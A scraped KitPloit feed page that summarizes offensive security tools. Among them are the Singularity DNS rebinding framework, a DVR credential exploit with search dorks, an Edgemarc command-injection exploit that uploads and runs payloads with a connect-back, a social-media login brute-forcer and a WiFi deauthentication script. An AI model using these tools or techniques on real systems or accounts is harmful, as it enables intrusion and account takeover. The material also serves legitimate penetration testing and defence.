Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5843 articles
Browse latest View live

Singularity - A DNS Rebinding Attack Framework

$
0
0

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
It also ships with sample payloads to exploit several vulnerable software versions, from the simple capture of a home page to performing remote code execution. It aims at providing a framework to facilitate the exploitation of software vulnerable to DNS rebinding attacks and to raise awareness on how they work and how to protect from them.

How Do DNS Rebinding Attacks Work?
DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the same-origin policy and thus allowing the browser to make arbitrary requests to the target application and read their responses. The Singularity DNS server is responding with short time to live (TTL) records, minimizing the time the response is cached. When the victim browses to the Singularity manager interface, the Singularity's DNS server first responds with the IP address of Singularity itself where the client-side code (payload) is hosted. When the DNS record times out, the Singularity DNS server responds with the IP address of the target host (e.g. 127.0.0.1) and the victim's browser can access the target application, circumventing the browser's same-origin policy.
It is also possible to trigger DNS rebinding before a cached DNS record expires, depending of the target platform and using a combination of techniques that are described in later sections.

Features
  • Singularity provides a complete DNS rebinding attack delivery stack:
    • Custom DNS server to rebind DNS name and IP address mapping from the attacker web server address to the target machine address
    • HTTP server to serve HTML pages and JavaScript code to targets and to manage the attacks
    • Several sample attack payloads, ranging from grabbing the home page of a target application to performing remote code execution. These payloads can be easily adapted to perform new and custom attacks.
  • Supports concurrent users
  • Provides several DNS rebinding strategies, including sequential mapping from the attacker to the target IP address and random mapping, to minimize the impact of IDS/IPS interfering with the attack
  • A number of technical controls to maximize the reliability and speed of attacks:
    • Disabling HTTP keep alive, caching, DNS prefetching
    • Aggressive DNS response TTLs
    • Option to use DNS CNAME instead of A records to evade several DNS filtering solutions
    • Near instant rebinding for several browser and OS combinations, using multiple DNS answers and dynamic HTTP port blocking.
  • Ability to allocate HTTP servers at startup or dynamically thereafter
    • A convenience feature to avoid restarting Singularity to listen on a different HTTP port.
    • To lay the ground work to attack vulnerable ports discovered after a scan.

Screenshots

Singularity Manager Interface


Fetch a Vulnerable Application Home Page on Localhost


Requirements

Setup
Let's say that we want to retrieve the homepage of a tool listening on localhost, port 8080, of a victim desktop machine from domain "dynamic.your.domain." You personally own/manage domain "your.domain." You will mount attacks from a server with IP address "ip.ad.dr.ss". This server will run the Singularity DNS and HTTP servers.

On the DNS Registrar Web Management Interface
Configure appropriate DNS records to delegate the management of a test subdomain ("dynamic.your.domain.") of a domain you own ("your.domain.") to the Singularity's DNS server that we will deploy shortly:
  • A Name: "rebinder", IPv4: "ip.ad.dr.ss"
  • NS Name: "dynamic", Hostname: "rebinder.your.domain."
This sample setup informs DNS clients, including browsers, that "ip.ad.dr.ss" answers queries for any subdomains under ".dynamic.your.domain.", e.g. "foo.dynamic.your.domain.". This also permits one to access the Singularity management console using the "rebinder.your.domain" DNS name with a web browser.

On the Attacker Host

Install Golang
Follow the instructions from the official Go Programming Language web site.

Obtain Singularity
Open a terminal and type the following command:
go get -v github.com/nccgroup/singularity/

Compile
$ cd ~/go/src/github.com/nccgroup/singularity/cmd/singularity-server
$ go build

Deploy
  • Deploy the "html" directory in let's say "~/singularity".
  • Deploy the singularity-server binary in "~/singularity".
$ cd ~/
$ mkdir -p singularity/html
$ cp ~/go/src/github.com/nccgroup/singularity/cmd/singularity-server ~/singularity/
$ cp ~/go/src/github.com/nccgroup/singularity/html/* /singularity/html/*

Run
Start singularity-server with sudo ./singularity-server --HTTPServerPort 8080. This will use a DNS rebinding strategy based on the content of the DNS query by default e.g. s-ip.ad.dr.ss-127.0.0.1-<random_number>--e.dynamic.your.domain will return first "ip.ad.dr.ss", the attacker host IP address, then "127.0.0.1" for subsequent queries for a limited period of time.
Note: You will need to verify that other services do not listen on ports required by Singularity.

Minimum required ports:
  • UDP 53 (DNS)
  • TCP 8080 (configurable default port for the manager web interface)
  • The port where the vulnerable application is running (e.g. port 3000 for the Ruby on Rails Web Console or port 9333 for VS Code Chrome DevTools)
On Ubuntu 18.04 LTS, by default, systemd-resolved is listening on the localhost UDP port 53. This will prevent Singularity from starting. Disable systemd-resolved with this command: sudo systemctl disable --now systemd-resolved.service. Next, update the file /etc/resolv.conf to make sure it does not contain nameserver 127.0.0.53 but something like nameserver 8.8.8.8. Replace 8.8.8.8 with the IP address of the DNS server of your choosing (e.g. nameserver 169.254.169.254 on GCP).

Firewalls
Singularity requires multiple ports exposed to the Internet (or at least to the network from which you access the tool via your browser). The minimum required ports are UDP 53 for DNS and the port where the Singularity manager web interface is running. The default port for the manager web interface is TCP port 8080. Additionally, Singularity requires that the payload is served from the same port where the vulnerable/exploited application is running on to not violate the same-origin policy.
Minimum required ports are listed above.
Please check with your hosting provider to configure allowed inbound ports:

Test

On the Victim Host
  • Deploy a local test service with python -c 'import BaseHTTPServer as bhs, SimpleHTTPServer as shs; bhs.HTTPServer(("127.0.0.1", 8080), shs.SimpleHTTPRequestHandler).serve_forever()' from a directory containing some test data files, on your client machine.
  • Browse to "http://rebinder.your.domain:8080/manager.html".
  • Ensure that the following fields contain the correct information:
    • "Attack Host Domain" e.g. "dynamic.your.domain"
    • "Attack Host" e.g. "ip.ad.dr.ss"
    • "Target Port" e.g. 8080
    • "Attack Payload", "payload-simple-fetch-get.html".
  • Click on "Start Attack".
  • The content of your victim host directory should be displayed within a few seconds/minutes in an alert box.

Browser Support
Singularity has been tested to work in the following browsers:
BrowserOperating SystemTime to Exploit
FirefoxWindows 7 / 10~1 min
ChromeWindows 7 / 10~1 min
FirefoxUbuntu~1 min
ChromiumUbuntu~1 min
EdgeWindows 10~21 to ~49 min
FirefoxOSX~1 min
ChromeOSX~1 min
SafariOSX~1 min
ChromeAndroid~1 min
FirefoxAndroid~1 min
SafariiOS~1 min
FirefoxiOS~1 min
The above was tested with Singularity's default conservative settings:
  • DNS rebinding strategy: DNSRebindFromQueryFirstThenSecond
  • Fetch interval (Web interface): 20s
  • Target: 127.0.0.1.
Much faster attacks can be achieved in certain configurations, as detailed in the table below:
BrowserOperating SystemTime to ExploitRebinding StrategyFetch IntervalTarget Specification
ChromeWindows 10~3sDNSRebindFromQueryMultiA1s127.0.0.1
EdgeWindows 10~3sDNSRebindFromQueryMultiA1s127.0.0.1
FirefoxWindows 10~3sDNSRebindFromQueryMultiA1s127.0.0.1
ChromiumUbuntu~3sDNSRebindFromQueryMultiA1s0.0.0.0
FirefoxUbuntu~3sDNSRebindFromQueryMultiA1s0.0.0.0
ChromeOSX~3sDNSRebindFromQueryMultiA1s0.0.0.0
FirefoxOSX~3sDNSRebindFromQueryMultiA1s0.0.0.0
SafariOSX~3sDNSRebindFromQueryMultiA1s0.0.0.0
We will add more platforms as we test them. We elected a delay of 3s to perform DNS rebinding to cater for targets with a poor connection to the internet/network.

Using Singularity
When Singularity is run without arguments, the manager web interface listens on TCP port 8080. Browse to that port to configure and launch the DNS rebinding attack.

Personalizing The Manager Configuration File
Singularity comes with a default configuration file in html/manager-config.json. You can modify this file to change the default parameters, such as the attackHostDomain, the attackHostIPAddress, and the attackPayloads. You need to edit this file if you add your own payloads. You do not need to edit the configuration file if you want to use existing payloads as you can change the parameters in the web interface.

Server Arguments
Launch the Singularity binary, (singularity-server), with the -h parameter to see its parameters.
  • -DNSRebindStrategy string : Specify how to respond to DNS queries from a victim client. The supported strategies are:
    • DNSRebindFromQueryRoundRobin
    • DNSRebindFromQueryFirstThenSecond (default)
    • DNSRebindFromQueryRandom
    • DNSRebindFromQueryMultiA (experimental, requires Linux iptables)
  • -HTTPServerPort value : Specify the attacker HTTP Server port that will serve HTML/JavaScript files. Repeat this flag to listen on more than one HTTP port.
  • -ResponseIPAddr string : Specify the attacker host IP address that will be rebound to the victim host address using strategy specified by flag -DNSRebingStrategy (default value is 192.168.0.1).
  • -ResponseReboundIPAddr string : Specify the victim host IP address that is rebound from the attacker host address (default value is 127.0.0.1).
  • -dangerousAllowDynamicHTTPServers Specify if any target can dynamically request Singularity to allocate an HTTP Server on a new port. This feature may be dangerous as it allows opening new ports via the unauthenticated web interface.
  • -responseReboundIPAddrtimeOut int : Specify a delay in seconds for which we will keep responding with Rebound IP Address after the last query. After the delay, we will respond with ResponseReboundIPAddr. The default is 300 seconds.

Manager UI
The manager web interface is where you configure and launch the DNS rebinding attack. It listens on port 8080 by default. The following table describes all form fields and buttons in the manager interface:
Field NameDescription
Attack Host DomainThis is the (sub-)domain where the Singularity web server is running. Default value: dynamic.rebind.it
Attack HostThis is the IP address where the manager and the attack payloads are hosted. Default value: xxx.xxx.xxx.xxx
Target HostThis is the IP address of the target system where the victim (target) application is running. Default value: 127.0.0.1
Target PortThis is the port where the victim (target) application is listening on. Default value: 8080
Request New PortThis will request Singularity to listen on a new port. This feature is only available when Singularity has been started with the -dangerouslyAllowDynamicHTTPServerscommand line option.
Attack PayloadThis is where you select the payload, i.e. which application you are trying to exploit.
Start AttackStart the DNS rebinding attack. Be patient and wait for at least one minute. Open the browser web console to see debugging logs.
Toggle Advanced OptionsThis button will enable the advanced fields described below.
IntervalHow long to wait between connection attempts to the target application in seconds. Default value: 20
Index TokenThe index token is used by Singularity to detect if the rebinding has happened yet. Default value: thisismytesttoken

Payloads Description
Singularity supports the following attack payloads:
  • Basic fetch request (payload-simple-fetch-get.html): This sample payload makes a GET request to the root directory ('/') and shows the server response using the fetch API. The goal of this payload is to function as example request to make additional contributions as easy as possible.
  • Basic XHR request (payload-simple-xhr-get.html): Another sample payload to make a GET request to the root directory ('/') and showing the server response using XMLHttpRequest (XHR).
  • Chrome DevTools (payload-exposed-chrome-devtools.html): This payload demonstrates a remote code execution (RCE) vulnerability in Microsoft VS Code fixed in version 1.19.3. This payload can be adapted to exploit any software that exposes Chrome Dev Tools on localhost.
  • etcd (payload-etcd.html): This payload retrieves the keys and values from the etcd key-value store.
  • pyethapp (payload-pyethapp.html): Exploit the Python implementation of the Ethereum client Pyethapp to get the list of owned eth addresses and retrieve the balance of the first eth address.
  • Rails Web Console (payload-rails-webconsole.html): Performs a remote code execution (RCE) attack on the Rails Web Console.

Creating Your Own Payloads
Creating your own payloads is as simple as copying the sample payload HTML file (payload-simple-fetch-get.html) and modify it according to your needs. The sample payload makes a single GET request and displays the response. Start with copying the content of this file to a new .html file and add its name to the attackPayloads list in the manager-config.json file. Then modify the new HTML file to change the request URL for example.

Preventing DNS Rebinding Attacks
DNS rebinding attacks can be prevented by validating the "Host" HTTP header on the server-side to only allow a set of whitelisted values. For services listening on the loopback interface, this set of whitelisted host values should only contain localhost and all reserved numeric addresses for the loopback interface, including 127.0.0.1.
For instance, let's say that a service is listening on address 127.0.0.1, TCP port 3000. Then, the service should check that all HTTP request "Host" header values strictly contain "127.0.0.1:3000" and/or "localhost:3000". If the host header contains anything else, then the request should be denied.
Depending on the application deployment model, you may have to whitelist other or additional addresses such as 127.0.0.2, another reserved numeric address for the loopback interface.
For services exposed on the network (and for any services in general), authentication should be required to prevent unauthorized access.
Filtering DNS responses containing private, link-local or loopback addresses, both for IPv4 and IPv6, should not be relied upon as a primary defense mechanism against DNS rebinding attacks. Singularity can bypass some filters in certain conditions, such as responding with a localhost CNAME record when targeting an application via the Google Chrome browser for instance.

Advanced Techniques
  • Use the -DNSRebindStrategy DNSRebindFromQueryRandom DNS rebinding strategy instead of the default - DNSRebindStrategy DNSRebindFromQueryFirstThenSecond if you suspect the presence of an IDS in one or more environments that sends several DNS requests to the attack server in addition to the actual target. This will ensure that the target will eventually obtain the required IP address, albeit a bit more slowly.
  • Singularity responds with a DNS CNAME instead of an A record if one specifies "localhost" as the target instead of "127.0.0.1". This may work around DNS filtering of responses containing "127.0.0.1", at least on Chrome and Firefox. Chrome & Firefox appear to look at their internal database upon reception of the CNAME record containing "localhost" instead of making another DNS lookup. Chrome populates its DNS cache with both "127.0.0.1" and "::1" in particular. Related: https://tools.ietf.org/html/draft-west-let-localhost-be-localhost-06.
  • Similarly, specifying "0.0.0.0" on Mac and Linux, which corresponds to "this host, on any interface" on these platforms may work around some filters/controls.

Useful Notes and Other Loose Ends
  • Cross-platform compilation: go to "~/singularity/cmd/singularity-server/" and type env GOOS=linux GOARCH=amd64 go build for a Linux build or go build from a mac OS machine for a Mac build.
  • The fetch API based attack scripts in the "html" directories will stop after 5 attempts if there are network errors.
  • Going to chrome://net-internals/#dns in the Chrome browser is great for debugging.
  • Test dig query: dig "s-ip.ad.dr.ss-127.0.0.1-<random_number>--e.dynamic.your.domain" @ip.ad.dr.ss
  • sudo ./singularity-server -HTTPServerPort 8080 -HTTPServerPort 8081 -dangerouslyAllowDynamicHTTPServers starts a server on port 8080 and 8081 and enables requesting dynamically one additional HTTP port via the Manager interface.
  • Testing a service for a DNS rebinding vulnerability: In an HTTP intercepting proxy such as Portswigger's Burp Suite, replay a request to localhost, replacing the host header value e.g. "localhost" with "attacker.com". If the request is accepted, chances are that you have found a DNS rebinding vulnerability. What you can do after, the impact, depends on the vulnerable application.
  • Use the DNSRebindFromQueryMultiA strategy for instant rebinding when supported by the target browser/OS combination and with the tested settings, summarized in the table above.
  • The DNSRebindFromQueryMultiA rebinding strategy does not support the "localhost" target value if trying to evade IPS/IDS and DNS filters.



Photon v1.1.4 - Incredibly Fast Crawler Designed For Recon

$
0
0

Incredibly Fast Crawler Designed For Recon.

Key Features

Data Extraction
Photon can extract the following data while crawling:
  • URLs (in-scope & out-of-scope)
  • URLs with parameters (example.com/gallery.php?id=2)
  • Intel (emails, social media accounts, amazon buckets etc.)
  • Files (pdf, png, xml etc.)
  • Secret keys (auth/API keys & hashes)
  • JavaScript files & Endpoints present in them
  • Strings matching custom regex pattern
  • Subdomains & DNS related data
The extracted information is saved in an organized manner or can be exported as json.



Flexible
Control timeout, delay, add seeds, exclude URLs matching a regex pattern and other cool stuff. The extensive range of options provided by Photon lets you crawl the web exactly the way you want.

Genius
Photon's smart thread management& refined logic gives you top notch performance.
Still, crawling can be resource intensive but Photon has some tricks up it's sleeves. You can fetch URLs archived by archive.org to be used as seeds by using --wayback option.
In Ninja Mode which can be accessed by --ninja, 4 online services are used to make requests to the target on your behalf.
So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost if you have a slow connection, minimizes the risk of connection reset as well as delays requests from a single client.

Plugins

Frequent & Seamless Updates
Photon is under heavy development and updates for fixing bugs. optimizing performance & new features are being rolled regularly.
If you would like to see features and issues that are being worked on, you can do that on Development project board.
Updates can be installed & checked for with the --update option. Photon has seamless update capabilities which means you can update Photon without losing any of your saved data.

Contribution
You can contribute in following ways:
  • Report bugs
  • Develop plugins
  • Add more "APIs" for ninja mode
  • Give suggestions to make it better
  • Fix issues & submit a pull request


Burpcommander - Ruby Command-Line Interface To Burp Suite's REST API

$
0
0

Ruby command-line interface to Burp Suite's REST API

Usage
burpcommander VERSION: 1.0.1  -  UPDATED: 08/29/2018

-t, --target [IP Address] Defaults to 127.0.0.1
-p, --port [Port Number] Defaults to 1337
-k, --key [API Key] If you require an API key specify it here
-i, --issue-type-id [String] String to search for. Example: "1048832"
-n, --issue-name [String] String to search for. Example: "Command Injection"
-D, --DESCRIPTION Returns the description of a requested issue
-M, --METRICS Returns the scan_metrics for a given task_id
-I, --ISSUES [Optional Number] Returns the issue_events of a given task_id
-s, --scan [Complete URL] Example: https://scantarget.com
-S, --scan-id [Number] Returns ScanProgress for a given task_id
-U, --username [String] Username to supply for an authenticated scan
-P, --password [String] Password to supply for an authenticated scan
-v, --verbose Enables verbose output

Generic Example
./burpcommander.rb -k [API Key] -n "command injection" -D

Command Output
Operating system command injectionvulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command that is executed, and inject arbitrary further commands that will be executed by the server.
OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. It may also be possible to use the server as a platform for attacks against other systems. The exact potential for exploitation depends upon the security context in which the command is executed, and the privileges that this context has regarding sensitive resources on the server.

Launch a Scan
./burpcommander.rb -s www.youcanattackme.com -U admin -P password

I, [2018-08-29T15:27:09.310594 #18919] INFO -- : Successfuly initiated task_id: 4 against www.youcanattackme.com

Query Scan Information
Get the scan_metrics of a given scan.
./burpcommander.rb -S 4 -M

{"crawl_requests_made"=>2264,
"crawl_requests_queued"=>0,
"audit_queue_items_completed"=>0,
"audit_queue_items_waiting"=>51,
"audit_requests_made"=>247,
"audit_network_errors"=>10,
"issue_events"=>21}
Get issue number 1 from a given scan.
./burpcommander.rb -S 4 -I 1

{"name"=>"File upload functionality",
"type_index"=>5245312,
"serial_number"=>"6437447914508597248",
"origin"=>"http://www.youcanattackme.com",
"path"=>"/vulnerabilities/upload/",
"severity"=>"info",
"confidence"=>"certain",
"description"=>
"The page contains a form which is used to submit a user-supplied...


Network-Attacker - WiFi Stress Testing Beacon Flooding & Deauthentication Attack

$
0
0

network-attacker V0.1 is a Wifi Stress Testing Bash Script Program Based on Mdk3 [Beacon Flooding & Deauthentication Attack]
  • Created To Help Beginners And even Professionals For a eacon Flooding Or Deauthentication Attack On Networks

Installation
sudo apt-get install git
sudo git clone https://github.com/TunisianEagles/network-attacker.git
cd network-attacker
sudo chmod +x install.sh
sudo chmod +x network_attacker.sh
./install.sh
./network_attacker.sh

Tested On :
  • Backbox linux
  • Ubuntu
  • Debian
  • Kali linux
  • Parrot os

Contact
Programmed By belahsan ouerghi Contact.


HackBar - HackBar Plugin For Burpsuite

$
0
0

HackBar - HackBar Plugin For Burpsuite V1.0.

Requirements
  • Burpsuite
  • Java

How to Install
Download Jar 'https://github.com/d3vilbug/HackBar/releases/tag/1.0' and add in burpsuite


Tested on
  • Burpsuite 1.7.36
  • Windows 10
  • xubuntu 18.04

Upcoming Features/Modules
  • Ctrl + H (shortcut)
  • WAF bypass (SQLi)
  • Decoder/Encoder
  • Simulate Attack (Automatically test complete cheat sheet with one click)

Greets


Nmap Bootstrap XSL - A Nmap XSL Implementation With Bootstrap

$
0
0

A Nmap XSL implementation with Bootstrap.

How to use
Add the nmap-bootstrap.xsl as stylesheet to your Nmap scan. For example: nmap -sS -T4 -A -sC -oA scanme --stylesheet https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl scanme.nmap.org scanme2.nmap.org Open the scanme.xml with your Webbrowser. It should look like the scanme.html sample report. Alternatively you can transform the xml to html with xsltproc -o scanme.html nmap-bootstrap.xsl scanme.xml. You will need to download the nmap-bootstrap.xsl beforehand.

Old scans
You can also format old scans with the xsl stylesheet. Insert <?xml-stylesheet href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl" type="text/xsl"?> after <!DOCTYPE nmaprun>.

Screenshots





Vboxdie-Cracker - VirtualBox Disk Image Encryption Password Cracker

$
0
0

Virtual Box Disk Image Encryption password cracker

Requirements
  1. PHP >= 5.5.0
  2. OpenSSL >= 1.0.1 (XTS support)

Algorithm description
User password is stored using a combination of PBKDF2 and AES-XTS as following (shown values are fixed at the moment, but they can be controlled inside the file format):
# 32 for AES-XTS128-PLAIN64
# 64 for AES-XTS256-PLAIN64
AES_key_length = 32 | 64

AES-password = PBKDF2(algorithm: SHA256,
password: user_password,
salt: random_salt_1,
iterations: 2000,
output_length: AES_key_length)

PBKDF2-decrypted-password = AES_decrypt(key_size: AES_key_length,
mode: XTS,
data: random_data
password: AES-password,
type: raw,
iv: NULL)

Stored_hash = PBKDF2(algorithm: SHA256,
password: PBKDF2-decrypted-password,
salt: random_salt_2,
iterations: 2000,
output_length: 32)
The same process is performed each time the user wants to decrypt the machine disk.

Example of usage
$ php VBOXDIECracker.php
VirtualBox Disk Image Encryption cracker

Usage: VBOXDIECracker.php disk_image.vbox [wordlist]

$ php VBOXDIECracker.php Encrypted.vbox wordlist.txt
VirtualBox Disk Image Encryption cracker

[+] Reading data from: Encrypted.vbox
----------------------------------------------------------------
[+] Checking hard disk encryption for: Encrypted.vdi
[+] Hard disk is encrypted
[+] KeyStore encoded string:
U0NORQABQUVTLVhUUzI1Ni1QTEFJTjY0AAAAAAAAAAAAAAAAAABQQktERjItU0hB
MjU2AAAAAAAAAAAAAAAAAAAAAAAAAEAAAAASAniX2ss6TE/u9IdinWigcwAg2bXe
dJRAjHr5mvCCiSAAAAAntQHDFvSfwpay/jKFVzUWc4GsIJ/RwMg+XkG2b/PDWtAH
AACKj0qUg37sG7TWmi58n/rcXmWVNt9FqBxGZiz2a+leWNAHAABAAAAA6qVV8nOu
r58RVxKP0cNRfXyu9D7JqqVAaRfNE3LFdoz4hXxWWWcxjOGBJA/BQ5VuwvrDxO8O
YpwYgl3yKOcewg==
[+] KeyStore contents:
Header 454e4353 (SCNE)
Version 1
Algorithm AES-XTS256-PLAIN64
KDF PBKDF2-SHA256
Key length 64
Final hash 12027897dacb3a4c4feef487629d68a0730020d9b5de7494408c7af99af08289
PBKDF2 2 Key length 32
PBKDF2 2 Salt 27b501c316f49fc296b2fe32855735167381ac209fd1c0c83e5e41b66ff3c35a
PBKDF2 2 Iterations 2000
PBKDF2 1 Salt 8a8f4a94837eec1bb4d69a2e7c9ffadc5e659536df45a81c46662cf66be95e58
PBKDF2 1 Iterations 2000
EVP buffer length 64
PBKDF2 2 encrypted password eaa555f273aeaf9f1157128fd1c3517d7caef43ec9aaa5406917cd1372c5768c
f8857c565967318ce181240fc143956ec2fac3c4ef0e629c18825df228e71ec2
[+] Cracking finished, measured time: 6.13035 seconds
[!] KeyStore password found: 123
----------------------------------------------------------------
[+] Checking hard disk encryption for: New_Disk.vdi
[-] Hard disk is not encrypted


DVR-Exploiter - Bash Script Program Exploit The DVR's Based On CVE-2018-9995

$
0
0

DVR-Exploiter
[*] Exploit Title:       DVR Credentials Exposed 
[*] Date: 09/04/2018
[*] Exploit Author: Fernandez Ezequiel
[*] DVR-Exploiter By: Belahsan Ouerghi
[*] Contact: www.facebook.com/ouerghi.belahsan
[*] Youtube Tutorial: https://www.youtube.com/watch?v=vdnATjE_4II
[*] Dorks: intitle:"DVR Login"
html:"/login.rsp"
"Server: GNU rsp/1.1"

tested in DVR :
Novo
CeNova
QSee
Pulnix
XVR 5 in 1 (title: "XVR Login")
Securus, - Security. Never Compromise !! -
Night OWL
DVR Login
HVR Login
MDVR Login

Installation :
$ git clone https://github.com/TunisianEagles/DVR-Exploiter.git
$ cd DVR-Exploiter
$ ./DVR-Exploiter.s

Details
[ After Running Choose The Host Example : 1 = 127.0.0.1 {IP } , / 2 = www.xxxxxxxx.com ]
  • Don't Forget To Install The Plugin Of The DVR

Screenshots
















Exploit CVE-2017-6079 - Blind Command Injection In Edgewater Edgemarc Devices

$
0
0

This exploit was developed based on the technical description by depthsecurity https://depthsecurity.com/blog/cve-2017-6079-blind-command-injection-in-edgewater-edgemarc-devices

Description
The HTTP web-management application on Edgewater Networks Edgemarc appliances has a hidden page that allows for user-defined commands such as specific iptables routes, etc., to be set. You can use this page as a web shell essentially to execute commands, though you get no feedback client-side from the web application: if the command is valid, it executes. An example is the wget command. The page that allows this has been confirmed in firmware as old as 2006.

Device Detection
Nmap will identify the device from its web server as shown


Usage
 _____    _                          _
| ____|__| | __ _ _____ ____ _| |_ ___ _ __
| _| / _` |/ _` |/ _ \ \ /\ / / _` | __/ _ \ '__|
| |__| (_| | (_| | __/\ V V / (_| | || __/ |
|_____\__,_|\__, |\___| \_/\_/ \__,_|\__\___|_|
|___/
_____ _
| ____|__| | __ _ ___ _ __ ___ __ _ _ __ ___
| _| / _` |/ _` |/ _ \ '_ ` _ \ / _` | '__/ __|
| |__| (_| | (_| | __/ | | | | | (_| | | | (__
|_____\__,_|\__, |\___|_| |_| |_|\__,_|_| \___|
|___/
_____ _ _ _
| ____|_ ___ __ | | ___ (_) |_
| _| \ \/ / '_ \| |/ _ \| | __|
| |___ > <| |_) | | (_) | | |_
|_____/_/\_\ .__/|_|\___/|_|\__|
|_|


Edgewater Edgemarc Exploit CVE-2017-6079
Coded By: Mostafa Soliman

[USAGE] CVE-2017-6079.py [operation] [TargetIP] [AttackerIP] [FilePath]
operation: Either read / upload
AttackerIP: IP address to receive the connection on
TargetIP: IP address of the target running Edgewater Edgemarc server
FilePath: Remote file to download in case of "read" operation
Local file to upload in case of "upload" operation

Exploit
The exploit assumes that the device has default root password which is default if this is not the case you will need to replace the Authorization The exploit has 2 modes of operation:

1. Read
This mode allow the attacker to read any files on the vulnerable device.


2. upload
This mode allow the attacker to upload ELF file payload to /tmp/ folder and execute it. You will need to start listner to recieve the connection.



JoomScan 0.0.7 - OWASP Joomla Vulnerability Scanner Project

$
0
0

OWASP Joomla! Vulnerability Scanner (JoomScan) is an open source project, developed with the aim of automating the task of vulnerability detection and reliability assurance in Joomla CMS deployments. Implemented in Perl, this tool enables seamless and effortless scanning of Joomla installations, while leaving a minimal footprint with its lightweight and modular architecture. It not only detects known offensive vulnerabilities, but also is able to detect many misconfigurations and admin-level shortcomings that can be exploited by adversaries to compromise the system. Furthermore, OWASP JoomScan provides a user-friendly interface and compiles the final reports in both text and HTML formats for ease of use and minimization of reporting overheads.
OWASP JoomScan is included in Kali Linux distributions.

WHY OWASP JOOMSCAN?
Automated ...
  • Version enumerator
  • Vulnerability enumerator (based on version)
  • Components enumerator (1209 most popular by default)
  • Components vulnerability enumerator (based on version)(+1030 exploit)
  • Firewall detector
  • Reporting to Text & HTML output
  • Finding common log files
  • Finding common backup files

INSTALL
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl

JOOMSCAN ARGUMENTS
Usage: joomscan.pl [options]

--url | -u <URL> | The Joomla URL/domain to scan.
--enumerate-components | -ec | Try to enumerate components.

--cookie <String> | Set cookie.
--user-agent | -a <user-agent> | Use the specified User-Agent.
--random-agent | -r | Use a random User-Agent.
--timeout <time-out> | set timeout.
--about | About Author
--update | Update to the latest version.
--help | -h | This help screen.
--version | Output the current version and exit.

OWASP JOOMSCAN USAGE EXAMPLES
Do default checks...
perl joomscan.pl --url www.example.com

or
perl joomscan.pl -u www.example.com


Enumerate installed components...
perl joomscan.pl --url www.example.com --enumerate-components

or
perl joomscan.pl -u www.example.com --ec


Set cookie
perl joomscan.pl --url www.example.com --cookie "test=demo;"

Set user-agent
perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

or
perl joomscan.pl -u www.example.com -a "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"


Set random user-agent
perl joomscan.pl -u www.example.com --random-agent

or
perl joomscan.pl --url www.example.com -r


Update Joomscan...
perl joomscan.pl --update


PROJECT LEADERS
  • Mohammad Reza Espargham [ reza[dot]espargham[at]owasp[dot]org ]
  • Ali Razmjoo [ ali[dot]razmjoo[at]owasp[dot]org ]

OWASP JoomScan introduction (Youtube)



OWASP JoomScan 0.0.7



SharpSploit - A .NET Post-Exploitation Library Written In C#

$
0
0

SharpSploit is a .NET post-exploitation library written in C# that aims to highlight the attack surface of .NET and make the use of offensive .NET easier for red teamers.
SharpSploit is named, in part, as a homage to the PowerSploit project, a personal favorite of mine! While SharpSploit does port over some functionality from PowerSploit, my intention is not at all to create a direct port of PowerSploit. SharpSploit will be it's own project, albeit with similar goals to PowerSploit.

Intro
You'll find some details and motivations for the SharpSploit project in this introductory blog post.

Documentation
The complete SharpSploit API docfx documentation is available here.
For an easier to read, high-level quick reference and summary of SharpSploit functionality, refer to the SharpSploit - Quick Command Reference.

Credits
SharpSploit ports many modules written in PowerShell by others, utilizes techniques discovered by others, and borrows ideas and code from other C# projects as well:


SocialBox - A Bruteforce Attack Framework (Facebook, Gmail, Instagram, Twitter)

$
0
0

SocialBox is a Bruteforce Attack Framework [Facebook, Gmail, Instagram,Twitter], Coded By Belahsan Ouerghi.

Installation
sudo apt-get install git
sudo git clone https://github.com/TunisianEagles/SocialBox.git
cd SocialBox
chmod +x SocialBox.sh
chmod +x install-sb.sh
./install-sb.sh
./SocialBox.sh

Screenshots:


Tested On :
  • Backbox linux
  • Ubuntu
  • Kali linux

Contact

Authors :
  • facebook : Imad
  • gmail : Ha3MrX
  • instagram : thelinuxchoice
  • Twitter : thelinuxchoice
  • SocialBox : Belahsan Ouerghi


Mail Security Tester - A Testing Framework For Mail Security And Filtering Solutions

$
0
0

A testing framework for mail security and filtering solutions.
IMPORTANT: Don't do anything evil with this! Tests of cloud or otherwise hosted solutions should always be approved by the tested provider. Only use your own test accounts and don't annoy anyone with a load of test mails.

Installation
The mail security testing framework works with with Python >=3.5. Just pull this repository and go ahead. No further dependencies are required.

Usage
The script mail-tester.py runs the tests. Read the help message with ./mail-tester.py --help and check the list of test and evasion modules with ./mail-tester.py -l to get an overview about the capabilities and the usage of the script. Some hints:
  • At least the parameters --smtp-server and --to should be given for a minimal test run.
  • All parameters can also be stored in configuration files without the prefix --. These configuration files can be used by invoking ./mail-tester.py @tester.conf (configuration contained in tester.conf).
  • Multiple recipients can be configured with --to for testing of different filter configurations.
  • Some mail filtering solutions may reject messages after a while. Use --auto-delay for automatic throttling of the mails. This can be fine-tuned with --delay-step, --delay-max and --delay.
  • Some tests (Spam and Malware) require samples. Put these in directories and configure these directories with --spam-folder and --malware-folder parameters. The samples are not included in this repository (and will not be). Good places to get malware are theZoo, Das Malwerk or other collections. Spam can be exported straight from yout Spam folder, but must be in EML format.
  • Blacklists can be supplied with the --blacklist parameter and are used as sender addresses.
  • The Shellshock and subject XSS test cases should have a valid backconnect domain, where you are able to see any backconnects (especially DNS requests). The free Canary Tokens service can be used for this purpose. Thanks to Thinkst for providing this awesome service!
  • Some neat attachment recognition evasion tricks can be enabled with --evasion content-disposition. These were used in the past to confuse AV/sandboxing solutions and let them pass malicious mails.
